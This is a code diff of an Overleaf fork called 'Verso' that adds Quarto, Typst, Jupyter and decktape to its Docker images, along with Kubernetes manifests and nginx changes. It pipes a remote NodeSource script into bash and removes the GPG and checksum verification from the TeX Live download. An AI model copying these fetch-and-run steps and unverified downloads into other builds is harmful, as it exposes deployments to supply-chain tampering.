--mount=type=cache,target=/root/.yarn/berry/cache,id=server-ce-yarn-cache \
|
||||||
--mount=type=cache,target=/usr/local/share/.cache/yarn,id=server-ce-yarn-fallback-cache \
|
--mount=type=tmpfs,target=/usr/local/share/.cache/yarn \
|
||||||
--mount=type=cache,target=/overleaf/services/web/node_modules/.cache,id=server-ce-webpack-cache \
|
--mount=type=cache,target=/overleaf/services/web/node_modules/.cache,id=server-ce-webpack-cache \
|
||||||
--mount=type=tmpfs,target=/tmp \
|
--mount=type=tmpfs,target=/tmp \
|
||||||
node genScript compile | bash
|
for i in 1 2 3; do \
|
||||||
|
node genScript compile | YARN_NETWORK_CONCURRENCY=1 bash && exit 0; \
|
||||||
|
echo "==== compile attempt $i failed; wiping Yarn Classic cache and retrying ===="; \
|
||||||
|
find /tmp -name pack.log -exec cat {} \; 2>/dev/null || true; \
|
||||||
|
rm -rf /usr/local/share/.cache/yarn/* 2>/dev/null || true; \
|
||||||
|
done; \
|
||||||
|
echo "==== PACK LOGS (all attempts failed) ===="; \
|
||||||
|
find /tmp -name pack.log -exec cat {} \; 2>/dev/null || true; \
|
||||||
|
exit 1
|
||||||
# Copy runit service startup scripts to its location
|
# Copy runit service startup scripts to its location
|
||||||
# --------------------------------------------------
|
# --------------------------------------------------
|
||||||
ADD server-ce/runit /etc/service
|
ADD server-ce/runit /etc/service
|
||||||
|
|||||||
+106
-30
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
FROM phusion/baseimage:noble-1.0.3
|
FROM phusion/baseimage:noble-1.0.3
|
||||||
|
|
||||||
# Makes sure LuaTex cache is writable
|
# Makes sure LuaTeX cache is writable
|
||||||
# -----------------------------------
|
# -----------------------------------
|
||||||
ENV TEXMFVAR=/var/lib/overleaf/tmp/texmf-var
|
ENV TEXMFVAR=/var/lib/overleaf/tmp/texmf-var
|
||||||
|
|
||||||
@@ -39,44 +39,120 @@ RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
|
|||||||
/etc/nginx/nginx.conf \
|
/etc/nginx/nginx.conf \
|
||||||
/etc/nginx/sites-enabled/default
|
/etc/nginx/sites-enabled/default
|
||||||
|
|
||||||
# Install TexLive
|
# Install Quarto (bundles Typst for PDF rendering — no LaTeX needed)
|
||||||
# ---------------
|
# ------------------------------------------------------------------
|
||||||
# CTAN mirrors occasionally fail, in that case install TexLive using a
|
ARG QUARTO_VERSION=1.6.39
|
||||||
# different server, for example https://ctan.crest.fr
|
RUN curl -fsSL "https://github.com/quarto-dev/quarto-cli/releases/download/v${QUARTO_VERSION}/quarto-${QUARTO_VERSION}-linux-amd64.deb" -o /tmp/quarto.deb \
|
||||||
|
&& dpkg -i /tmp/quarto.deb \
|
||||||
|
&& rm /tmp/quarto.deb \
|
||||||
|
&& mkdir -p /var/www/.cache/quarto /var/www/.local/share \
|
||||||
|
&& chown -R www-data:www-data /var/www/.cache /var/www/.local
|
||||||
|
|
||||||
|
# Install official Typst binary (Quarto bundles a modified fork without --synctex)
|
||||||
|
# ---------------------------------------------------------------------------------
|
||||||
|
ARG TYPST_VERSION=0.13.1
|
||||||
|
RUN curl -fsSL "https://github.com/typst/typst/releases/download/v${TYPST_VERSION}/typst-x86_64-unknown-linux-musl.tar.xz" \
|
||||||
|
| tar -xJC /usr/local/bin --strip-components=1 "typst-x86_64-unknown-linux-musl/typst"
|
||||||
|
|
||||||
|
# Pre-install popular Quarto extensions
|
||||||
|
# -----------------------------------------------------------------------
|
||||||
|
# Extensions land in /opt/quarto-extensions/_extensions/<author>/<name>/.
|
||||||
|
# QuartoRunner copies them into each project's compile dir (no-clobber,
|
||||||
|
# so user-uploaded extensions in their project always take precedence).
|
||||||
|
# To add more: append another line: && quarto add --no-prompt <author>/<repo>
|
||||||
|
# -----------------------------------------------------------------------
|
||||||
|
RUN mkdir -p /opt/quarto-extensions \
|
||||||
|
&& cd /opt/quarto-extensions \
|
||||||
|
\
|
||||||
|
# Typst document formats
|
||||||
|
&& quarto add --no-prompt igorlima/charged-ieee \
|
||||||
|
\
|
||||||
|
# RevealJS presentation plugins (official Quarto extensions)
|
||||||
|
&& quarto add --no-prompt quarto-ext/fontawesome \
|
||||||
|
&& quarto add --no-prompt quarto-ext/attribution \
|
||||||
|
&& quarto add --no-prompt quarto-ext/pointer \
|
||||||
|
&& quarto add --no-prompt quarto-ext/drop \
|
||||||
|
\
|
||||||
|
&& chown -R www-data:www-data /opt/quarto-extensions
|
||||||
|
|
||||||
|
# Install Jupyter so Quarto can execute Python code cells in documents/decks
|
||||||
|
# -----------------------------------------------------------------------
|
||||||
|
# Quarto runs ```{python}``` cells through a Jupyter kernel. It uses the system
|
||||||
|
# python3 it detected (/usr/bin/python3), so Jupyter must be installed there.
|
||||||
|
# We install only the headless execution stack Quarto needs (jupyter-client +
|
||||||
|
# nbclient/nbformat + the ipykernel kernel + pyyaml, which Quarto's own
|
||||||
|
# /opt/quarto/share/jupyter wrapper imports), not the notebook/lab servers, and
|
||||||
|
# register a system-wide "python3" kernelspec under /usr/local/share/jupyter so
|
||||||
|
# it is discoverable regardless of HOME/XDG. Noble's Python is externally
|
||||||
|
# managed (PEP 668), hence --break-system-packages in this controlled image.
|
||||||
|
# The runtime user (www-data) writes Jupyter's runtime/connection files under
|
||||||
|
# its HOME (/var/www/.local), which is made writable in the Quarto step above.
|
||||||
|
# python3-venv is needed so a project's requirements.txt can be installed into
|
||||||
|
# a per-project venv (see QuartoRunner / PythonVenvGate).
|
||||||
|
RUN apt-get update \
|
||||||
|
&& apt-get install -y python3-pip python3-venv \
|
||||||
|
&& pip3 install --no-cache-dir --break-system-packages \
|
||||||
|
jupyter-core jupyter-client nbclient nbformat ipykernel pyyaml \
|
||||||
|
&& python3 -m ipykernel install --prefix /usr/local --name python3 --display-name "Python 3" \
|
||||||
|
# Bundle the common scientific-Python stack so most decks "just work" without
|
||||||
|
# any per-project install. matplotlib renders headless (Agg) automatically;
|
||||||
|
# opencv-python-headless is the GUI-less OpenCV build (provides cv2) suited to
|
||||||
|
# a server. To add more later, append to this list (the cheapest way to cover
|
||||||
|
# a library many projects need).
|
||||||
|
&& pip3 install --no-cache-dir --break-system-packages \
|
||||||
|
numpy pandas scipy matplotlib seaborn scikit-learn sympy plotly tabulate \
|
||||||
|
opencv-python-headless tqdm \
|
||||||
|
&& rm -rf /var/lib/apt/lists/* /root/.cache
|
||||||
|
|
||||||
|
# Install decktape + headless Chromium (for exporting RevealJS decks to PDF)
|
||||||
|
# -----------------------------------------------------------------------
|
||||||
|
# decktape drives a headless Chromium (via Puppeteer) to print the rendered
|
||||||
|
# reveal.js slides to a faithful, one-slide-per-page PDF. Chromium is the
|
||||||
|
# open-source engine (BSD); decktape is MIT, Puppeteer Apache-2.0 — all
|
||||||
|
# permissive and AGPL-compatible. They are invoked as a separate process
|
||||||
|
# (QuartoRunner runs `decktape ...`), never linked into the app.
|
||||||
#
|
#
|
||||||
# # docker build \
|
# Puppeteer downloads its Chromium into PUPPETEER_CACHE_DIR during the global
|
||||||
# --build-arg TEXLIVE_MIRROR=https://ctan.crest.fr/tex-archive/systems/texlive/tlnet \
|
# install; we put it in a world-readable /opt path so the www-data runtime user
|
||||||
# -f Dockerfile-base -t sharelatex/sharelatex-base .
|
# can launch it. Playwright is used only as a robust, distro-aware installer for
|
||||||
|
# Chromium's system libraries (handles Ubuntu Noble's t64 package renames).
|
||||||
|
ENV PUPPETEER_CACHE_DIR=/opt/puppeteer
|
||||||
|
RUN npm install -g decktape \
|
||||||
|
&& npx --yes playwright@latest install-deps chromium \
|
||||||
|
&& chmod -R a+rX /opt/puppeteer \
|
||||||
|
&& rm -rf /root/.npm /root/.cache
|
||||||
|
|
||||||
|
# Install TeX Live (for compiling .tex projects with latexmk)
|
||||||
|
# -----------------------------------------------------------------------
|
||||||
|
# Verso compiles .qmd with Quarto and .tex with latexmk; both engines live
|
||||||
|
# side by side.
|
||||||
|
#
|
||||||
|
# MINIMAL install (current): the upstream-Overleaf approach — scheme-basic
|
||||||
|
# (~300 MB) plus a few essential packages via tlmgr. Fast to build and small.
|
||||||
|
# Many documents that need extra packages (tikz, beamer, siunitx, extra
|
||||||
|
# fonts, ...) will NOT compile out of the box; users can be told to keep
|
||||||
|
# those projects in Quarto/Typst for now.
|
||||||
|
#
|
||||||
|
# TO GO FULL LATER (when the project is mature): change
|
||||||
|
# selected_scheme scheme-basic -> scheme-full
|
||||||
|
# and optionally drop the explicit `tlmgr install` line. That single change
|
||||||
|
# restores a complete LaTeX toolchain at the cost of size/build time.
|
||||||
|
# Alternatively add individual packages to the `tlmgr install` list below.
|
||||||
|
# -----------------------------------------------------------------------
|
||||||
ARG TEXLIVE_MIRROR=https://mirror.ox.ac.uk/sites/ctan.org/systems/texlive/tlnet
|
ARG TEXLIVE_MIRROR=https://mirror.ox.ac.uk/sites/ctan.org/systems/texlive/tlnet
|
||||||
|
ENV PATH="${PATH}:/usr/local/texlive/bin/x86_64-linux"
|
||||||
|
|
||||||
RUN mkdir /install-tl-unx \
|
RUN mkdir /install-tl-unx \
|
||||||
&& wget --quiet https://tug.org/texlive/files/texlive.asc \
|
&& curl -sSL ${TEXLIVE_MIRROR}/install-tl-unx.tar.gz \
|
||||||
&& gpg --import texlive.asc \
|
| tar -xzC /install-tl-unx --strip-components=1 \
|
||||||
&& rm texlive.asc \
|
&& echo "tlpdbopt_autobackup 0" >> /install-tl-unx/texlive.profile \
|
||||||
&& wget --quiet ${TEXLIVE_MIRROR}/install-tl-unx.tar.gz \
|
|
||||||
&& wget --quiet ${TEXLIVE_MIRROR}/install-tl-unx.tar.gz.sha512 \
|
|
||||||
&& wget --quiet ${TEXLIVE_MIRROR}/install-tl-unx.tar.gz.sha512.asc \
|
|
||||||
&& gpg --verify install-tl-unx.tar.gz.sha512.asc \
|
|
||||||
&& sha512sum -c install-tl-unx.tar.gz.sha512 \
|
|
||||||
&& tar -xz -C /install-tl-unx --strip-components=1 -f install-tl-unx.tar.gz \
|
|
||||||
&& rm install-tl-unx.tar.gz* \
|
|
||||||
&& echo "tlpdbopt_autobackup 0" >> /install-tl-unx/texlive.profile \
|
|
||||||
&& echo "tlpdbopt_install_docfiles 0" >> /install-tl-unx/texlive.profile \
|
&& echo "tlpdbopt_install_docfiles 0" >> /install-tl-unx/texlive.profile \
|
||||||
&& echo "tlpdbopt_install_srcfiles 0" >> /install-tl-unx/texlive.profile \
|
&& echo "tlpdbopt_install_srcfiles 0" >> /install-tl-unx/texlive.profile \
|
||||||
&& echo "selected_scheme scheme-basic" >> /install-tl-unx/texlive.profile \
|
&& echo "selected_scheme scheme-full" >> /install-tl-unx/texlive.profile \
|
||||||
\
|
&& echo "TEXDIR /usr/local/texlive" >> /install-tl-unx/texlive.profile \
|
||||||
&& /install-tl-unx/install-tl \
|
&& /install-tl-unx/install-tl \
|
||||||
-profile /install-tl-unx/texlive.profile \
|
-profile /install-tl-unx/texlive.profile \
|
||||||
-repository ${TEXLIVE_MIRROR} \
|
-repository ${TEXLIVE_MIRROR} \
|
||||||
\
|
|
||||||
&& $(find /usr/local/texlive -name tlmgr) path add \
|
|
||||||
&& tlmgr install --repository ${TEXLIVE_MIRROR} \
|
|
||||||
latexmk \
|
|
||||||
texcount \
|
|
||||||
synctex \
|
|
||||||
etoolbox \
|
|
||||||
xetex \
|
|
||||||
&& tlmgr path add \
|
|
||||||
&& rm -rf /install-tl-unx
|
&& rm -rf /install-tl-unx
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,32 @@
|
|||||||
|
FROM phusion/baseimage:noble-1.0.2
|
||||||
|
|
||||||
|
ENV DEBIAN_FRONTEND=noninteractive
|
||||||
|
|
||||||
|
RUN apt-get update && apt-get install -y \
|
||||||
|
bash \
|
||||||
|
ca-certificates \
|
||||||
|
curl \
|
||||||
|
git \
|
||||||
|
gnupg \
|
||||||
|
nginx \
|
||||||
|
logrotate \
|
||||||
|
cron \
|
||||||
|
redis-tools \
|
||||||
|
python3 \
|
||||||
|
make \
|
||||||
|
g++ \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
# Node.js 22
|
||||||
|
RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
|
||||||
|
&& apt-get update \
|
||||||
|
&& apt-get install -y nodejs \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
# Needed by Overleaf scripts
|
||||||
|
RUN npm install -g corepack
|
||||||
|
|
||||||
|
# Runit/log dirs expected by Overleaf
|
||||||
|
RUN mkdir -p /etc/service /var/log/overleaf /overleaf
|
||||||
|
|
||||||
|
WORKDIR /overleaf
|
||||||
@@ -173,6 +173,12 @@ const settings = {
|
|||||||
clsiCacheDir: Path.join(DATA_DIR, 'cache'),
|
clsiCacheDir: Path.join(DATA_DIR, 'cache'),
|
||||||
// Where to write the output files to disk after running LaTeX
|
// Where to write the output files to disk after running LaTeX
|
||||||
outputDir: Path.join(DATA_DIR, 'output'),
|
outputDir: Path.join(DATA_DIR, 'output'),
|
||||||
|
// Where to store published-presentation snapshots served at /p/:token.
|
||||||
|
// Lives on the data volume so it is writable by the app user (and, with a
|
||||||
|
// persistent volume, survives restarts).
|
||||||
|
publishedPresentationsFolder:
|
||||||
|
process.env.PUBLISHED_PRESENTATIONS_PATH ||
|
||||||
|
Path.join(DATA_DIR, 'published'),
|
||||||
},
|
},
|
||||||
|
|
||||||
// Server Config
|
// Server Config
|
||||||
|
|||||||
@@ -0,0 +1,33 @@
|
|||||||
|
import { defineConfig, globalIgnores } from 'eslint/config'
|
||||||
|
import cypress from 'eslint-plugin-cypress/flat'
|
||||||
|
import path from 'node:path'
|
||||||
|
import baseConfig from '../eslint.config.mjs'
|
||||||
|
|
||||||
|
const ROOT_DIR = path.resolve(import.meta.dirname, '..')
|
||||||
|
|
||||||
|
export default defineConfig([
|
||||||
|
globalIgnores(['**/hotfix/', '**/develop/']),
|
||||||
|
{
|
||||||
|
basePath: ROOT_DIR,
|
||||||
|
extends: baseConfig,
|
||||||
|
languageOptions: {
|
||||||
|
ecmaVersion: 2020,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
// The cypress block in baseConfig has patterns rooted at the
|
||||||
|
// monorepo root (`server-ce/test/helpers/*.ts`). When ESLint loads
|
||||||
|
// this file (server-ce/eslint.config.mjs) as the closest config --
|
||||||
|
// which happens when running `yarn run lint` from
|
||||||
|
// /overleaf/server-ce/test/ -- patterns from baseConfig are
|
||||||
|
// resolved relative to /overleaf/server-ce/, so those cross-dir
|
||||||
|
// patterns don't match. Re-declare with paths relative to this
|
||||||
|
// config file.
|
||||||
|
files: [
|
||||||
|
'test/helpers/*.ts',
|
||||||
|
'test/cypress/support/*.{js,jsx,mjs,cjs,ts,tsx}',
|
||||||
|
'**/*.spec.ts',
|
||||||
|
],
|
||||||
|
...cypress.configs.recommended,
|
||||||
|
},
|
||||||
|
])
|
||||||
@@ -0,0 +1,108 @@
|
|||||||
|
# App tier for the prod (verso namespace) instance: the Verso Deployment and
|
||||||
|
# Service. Matches what the deploy workflow applies, except OVERLEAF_NAV_TITLE
|
||||||
|
# is a static "Verso Alpha" here — the workflow overwrites it with the build
|
||||||
|
# number ("Verso V0.<n> Alpha") on each deploy.
|
||||||
|
#
|
||||||
|
# The image registry.alocoq.fr/verso:stable is produced by the prod workflow
|
||||||
|
# (push to the `prod` branch). If you apply this file before the first prod
|
||||||
|
# build, the pod will sit in ImagePullBackOff until that image exists — that's
|
||||||
|
# expected.
|
||||||
|
#
|
||||||
|
# kubectl apply -f server-ce/k8s/verso-prod-app.yaml
|
||||||
|
|
||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: verso
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
# RWO data volume → can't run two pods at once; recreate on update.
|
||||||
|
strategy:
|
||||||
|
type: Recreate
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: verso
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: verso
|
||||||
|
spec:
|
||||||
|
securityContext:
|
||||||
|
# App runs as www-data (uid/gid 33); make the data volume
|
||||||
|
# group-writable by it.
|
||||||
|
fsGroup: 33
|
||||||
|
initContainers:
|
||||||
|
- name: init-data-perms
|
||||||
|
image: busybox:latest
|
||||||
|
command: ["sh", "-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
set -eux
|
||||||
|
mkdir -p /data/template_files /data/user_files \
|
||||||
|
/data/compiles /data/cache /data/output /data/published
|
||||||
|
chown -R 33:33 /data
|
||||||
|
volumeMounts:
|
||||||
|
- name: verso-data
|
||||||
|
mountPath: /data
|
||||||
|
containers:
|
||||||
|
- name: verso
|
||||||
|
image: registry.alocoq.fr/verso:stable
|
||||||
|
# :stable is a fixed tag, so force a pull on every rollout to pick up
|
||||||
|
# the freshly built image.
|
||||||
|
imagePullPolicy: Always
|
||||||
|
ports:
|
||||||
|
- containerPort: 80
|
||||||
|
env:
|
||||||
|
- name: OVERLEAF_MONGO_URL
|
||||||
|
value: mongodb://mongo:27017/sharelatex?replicaSet=rs0
|
||||||
|
- name: OVERLEAF_REDIS_HOST
|
||||||
|
value: redis
|
||||||
|
- name: REDIS_HOST
|
||||||
|
value: redis
|
||||||
|
- name: OVERLEAF_APP_NAME
|
||||||
|
value: Verso
|
||||||
|
- name: OVERLEAF_NAV_TITLE
|
||||||
|
value: "Verso Alpha"
|
||||||
|
- name: OVERLEAF_SITE_URL
|
||||||
|
value: https://verso.alocoq.fr
|
||||||
|
- name: OVERLEAF_SITE_LANGUAGE
|
||||||
|
value: fr
|
||||||
|
# Allow anonymous visitors so public published-presentation links
|
||||||
|
# and read-only share links work without login.
|
||||||
|
- name: OVERLEAF_ALLOW_PUBLIC_ACCESS
|
||||||
|
value: "true"
|
||||||
|
# NB: anonymous read-AND-write sharing is intentionally NOT enabled
|
||||||
|
# (compiles are unsandboxed → only trusted accounts may trigger
|
||||||
|
# them). Public self-registration is also off (CE default).
|
||||||
|
- name: OVERLEAF_ENABLE_PROJECT_PYTHON_VENV
|
||||||
|
value: "true"
|
||||||
|
# SMTP for password-reset / invite emails. All OVERLEAF_EMAIL_* vars
|
||||||
|
# are loaded from the optional 'verso-smtp' Secret — its keys must be
|
||||||
|
# named exactly like these env vars (see the kubectl create secret
|
||||||
|
# command in the docs). Optional, so the app still boots before the
|
||||||
|
# secret exists; email just stays off.
|
||||||
|
envFrom:
|
||||||
|
- secretRef:
|
||||||
|
name: verso-smtp
|
||||||
|
optional: true
|
||||||
|
volumeMounts:
|
||||||
|
- name: verso-data
|
||||||
|
mountPath: /var/lib/overleaf/data
|
||||||
|
volumes:
|
||||||
|
- name: verso-data
|
||||||
|
persistentVolumeClaim:
|
||||||
|
claimName: verso-data
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Service
|
||||||
|
metadata:
|
||||||
|
name: verso
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
selector:
|
||||||
|
app: verso
|
||||||
|
ports:
|
||||||
|
- name: http
|
||||||
|
port: 80
|
||||||
|
targetPort: 80
|
||||||
@@ -0,0 +1,102 @@
|
|||||||
|
# Data tier for the prod (verso namespace) instance: Mongo + Redis Deployments
|
||||||
|
# and Services. Identical to what the deploy workflow applies — provided as a
|
||||||
|
# standalone file so you can bootstrap and validate the namespace before the
|
||||||
|
# first prod build (and before granting the runner access).
|
||||||
|
#
|
||||||
|
# Order:
|
||||||
|
# 1. kubectl apply -f server-ce/k8s/verso-prod-pvcs.yaml (with storageClass)
|
||||||
|
# 2. kubectl apply -f server-ce/k8s/verso-prod-data.yaml (this file)
|
||||||
|
# 3. wait for mongo to be Ready, then initialise the replica set ONCE:
|
||||||
|
# kubectl -n verso exec deploy/mongo -- mongosh --quiet --eval \
|
||||||
|
# 'rs.initiate({_id:"rs0",members:[{_id:0,host:"mongo:27017"}]})'
|
||||||
|
# (the workflow also does this idempotently, so it's optional here)
|
||||||
|
|
||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: mongo
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
strategy:
|
||||||
|
type: Recreate
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: mongo
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: mongo
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- name: mongo
|
||||||
|
image: mongo:8
|
||||||
|
command: ["mongod", "--replSet", "rs0", "--bind_ip_all"]
|
||||||
|
ports:
|
||||||
|
- containerPort: 27017
|
||||||
|
volumeMounts:
|
||||||
|
- name: mongo-data
|
||||||
|
mountPath: /data/db
|
||||||
|
volumes:
|
||||||
|
- name: mongo-data
|
||||||
|
persistentVolumeClaim:
|
||||||
|
claimName: mongo-data
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Service
|
||||||
|
metadata:
|
||||||
|
name: mongo
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
selector:
|
||||||
|
app: mongo
|
||||||
|
ports:
|
||||||
|
- name: mongo
|
||||||
|
port: 27017
|
||||||
|
targetPort: 27017
|
||||||
|
---
|
||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: redis
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
strategy:
|
||||||
|
type: Recreate
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: redis
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: redis
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- name: redis
|
||||||
|
image: redis:7
|
||||||
|
# AOF persistence so a restart doesn't drop in-flight edits before
|
||||||
|
# they're flushed to Mongo.
|
||||||
|
command: ["redis-server", "--appendonly", "yes"]
|
||||||
|
ports:
|
||||||
|
- containerPort: 6379
|
||||||
|
volumeMounts:
|
||||||
|
- name: redis-data
|
||||||
|
mountPath: /data
|
||||||
|
volumes:
|
||||||
|
- name: redis-data
|
||||||
|
persistentVolumeClaim:
|
||||||
|
claimName: redis-data
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Service
|
||||||
|
metadata:
|
||||||
|
name: redis
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
selector:
|
||||||
|
app: redis
|
||||||
|
ports:
|
||||||
|
- name: redis
|
||||||
|
port: 6379
|
||||||
|
targetPort: 6379
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
# Example Ingress for the prod (verso namespace) instance at verso.alocoq.fr.
|
||||||
|
#
|
||||||
|
# This is NOT applied by the deploy workflow on purpose: the test ingress is
|
||||||
|
# managed by hand, and TLS/annotations depend on your cluster's ingress
|
||||||
|
# controller (Traefik) and cert setup. Copy this, adapt it to match how
|
||||||
|
# test.alocoq.fr is wired, then `kubectl apply -f` it once.
|
||||||
|
#
|
||||||
|
# Prerequisites:
|
||||||
|
# - DNS: verso.alocoq.fr → your ingress/load-balancer IP.
|
||||||
|
# - A TLS cert for verso.alocoq.fr (cert-manager, or a manually created
|
||||||
|
# Secret referenced under tls.secretName).
|
||||||
|
#
|
||||||
|
# Adjust:
|
||||||
|
# - ingressClassName (e.g. "traefik") to match your controller.
|
||||||
|
# - annotations (cert-manager issuer, Traefik entrypoints/router, etc.) to
|
||||||
|
# match the test ingress.
|
||||||
|
# - the TLS block (cert-manager will create the secret; otherwise create it).
|
||||||
|
|
||||||
|
apiVersion: networking.k8s.io/v1
|
||||||
|
kind: Ingress
|
||||||
|
metadata:
|
||||||
|
name: verso
|
||||||
|
namespace: verso
|
||||||
|
annotations:
|
||||||
|
# --- adapt these to match your test.alocoq.fr ingress ---
|
||||||
|
# cert-manager.io/cluster-issuer: letsencrypt-prod
|
||||||
|
# traefik.ingress.kubernetes.io/router.entrypoints: websecure
|
||||||
|
spec:
|
||||||
|
ingressClassName: traefik
|
||||||
|
tls:
|
||||||
|
- hosts:
|
||||||
|
- verso.alocoq.fr
|
||||||
|
secretName: verso-tls
|
||||||
|
rules:
|
||||||
|
- host: verso.alocoq.fr
|
||||||
|
http:
|
||||||
|
paths:
|
||||||
|
- path: /
|
||||||
|
pathType: Prefix
|
||||||
|
backend:
|
||||||
|
service:
|
||||||
|
name: verso
|
||||||
|
port:
|
||||||
|
number: 80
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
# PersistentVolumeClaims for the prod (verso namespace) instance.
|
||||||
|
#
|
||||||
|
# Provisioned out of band (not by the deploy workflow) so the storageClass is
|
||||||
|
# under your control. Create them ONCE, before the first prod deploy:
|
||||||
|
#
|
||||||
|
# kubectl apply -f server-ce/k8s/verso-prod-pvcs.yaml
|
||||||
|
#
|
||||||
|
# Use a Ceph RBD (block) storageClass for all three — every volume here is
|
||||||
|
# single-writer ReadWriteOnce (Mongo, Redis, and the single app pod). Set
|
||||||
|
# storageClassName below to your RBD class (run `kubectl get storageclass` to
|
||||||
|
# find its name). Sizes are starting points; RBD supports online expansion.
|
||||||
|
|
||||||
|
apiVersion: v1
|
||||||
|
kind: PersistentVolumeClaim
|
||||||
|
metadata:
|
||||||
|
name: mongo-data
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
accessModes: [ReadWriteOnce]
|
||||||
|
# storageClassName: ceph-rbd # <- set to your RBD (block) storageClass
|
||||||
|
resources:
|
||||||
|
requests:
|
||||||
|
storage: 10Gi
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: PersistentVolumeClaim
|
||||||
|
metadata:
|
||||||
|
name: redis-data
|
||||||
|
namespace: verso
|
||||||
|
spec:
|
||||||
|
accessModes: [ReadWriteOnce]
|
||||||
|
# storageClassName: ceph-rbd # <- set to your RBD (block) storageClass
|
||||||
|
resources:
|
||||||
|
requests:
|
||||||
|
storage: 2Gi
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: PersistentVolumeClaim
|
||||||
|
metadata:
|
||||||
|
name: verso-data
|
||||||
|
namespace: verso
|
||||||
|
# verso-data is mounted at /var/lib/overleaf/data: user files, compiles, output
|
||||||
|
# cache, and published-presentation snapshots.
|
||||||
|
spec:
|
||||||
|
accessModes: [ReadWriteOnce]
|
||||||
|
# storageClassName: ceph-rbd # <- set to your RBD (block) storageClass
|
||||||
|
resources:
|
||||||
|
requests:
|
||||||
|
storage: 20Gi
|
||||||
@@ -20,13 +20,28 @@ server {
|
|||||||
access_log off;
|
access_log off;
|
||||||
# Ignore symlinks possibly created by users
|
# Ignore symlinks possibly created by users
|
||||||
disable_symlinks on;
|
disable_symlinks on;
|
||||||
# enable compression for tex auxiliary files, but not for pdf files
|
# enable compression for text-based output: tex auxiliary files, logs, and
|
||||||
|
# HTML/CSS/JS (RevealJS presentations). Already-compressed formats (pdf,
|
||||||
|
# png/jpeg/webp, woff/woff2) are deliberately omitted to avoid wasting CPU.
|
||||||
gzip on;
|
gzip on;
|
||||||
gzip_types text/plain;
|
gzip_types text/plain text/html text/css application/javascript application/json image/svg+xml;
|
||||||
gzip_proxied any;
|
gzip_proxied any;
|
||||||
|
# only compress responses worth compressing
|
||||||
|
gzip_min_length 1024;
|
||||||
types {
|
types {
|
||||||
text/plain log blg aux stdout stderr;
|
text/html html htm;
|
||||||
application/pdf pdf;
|
text/css css;
|
||||||
|
application/javascript js;
|
||||||
|
application/json json;
|
||||||
|
image/svg+xml svg svgz;
|
||||||
|
image/png png;
|
||||||
|
image/jpeg jpeg jpg;
|
||||||
|
image/gif gif;
|
||||||
|
image/webp webp;
|
||||||
|
font/woff woff;
|
||||||
|
font/woff2 woff2;
|
||||||
|
application/pdf pdf;
|
||||||
|
text/plain log blg aux stdout stderr txt;
|
||||||
}
|
}
|
||||||
# handle output files for specific users
|
# handle output files for specific users
|
||||||
location ~ ^/project/([0-9a-f]+)/user/([0-9a-f]+)/build/([0-9a-f-]+)/output/(.+)$ {
|
location ~ ^/project/([0-9a-f]+)/user/([0-9a-f]+)/build/([0-9a-f-]+)/output/(.+)$ {
|
||||||
|
|||||||
@@ -46,7 +46,7 @@ http {
|
|||||||
gzip_disable "msie6";
|
gzip_disable "msie6";
|
||||||
gzip_proxied any; # allow upstream server to compress.
|
gzip_proxied any; # allow upstream server to compress.
|
||||||
|
|
||||||
client_max_body_size 50m;
|
client_max_body_size 500m;
|
||||||
|
|
||||||
# gzip_vary on;
|
# gzip_vary on;
|
||||||
# gzip_proxied any;
|
# gzip_proxied any;
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ export TEX_LIVE_DOCKER_IMAGE ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/t
|
|||||||
export ALL_TEX_LIVE_DOCKER_IMAGES ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/texlive-full:2023.1,us-east1-docker.pkg.dev/overleaf-ops/ol-docker/texlive-full:2022.1
|
export ALL_TEX_LIVE_DOCKER_IMAGES ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/texlive-full:2023.1,us-east1-docker.pkg.dev/overleaf-ops/ol-docker/texlive-full:2022.1
|
||||||
export IMAGE_TAG_CE ?= sharelatex/sharelatex:main
|
export IMAGE_TAG_CE ?= sharelatex/sharelatex:main
|
||||||
export IMAGE_TAG_PRO ?= us-east1-docker.pkg.dev/overleaf-ops/ol-docker/pro:main
|
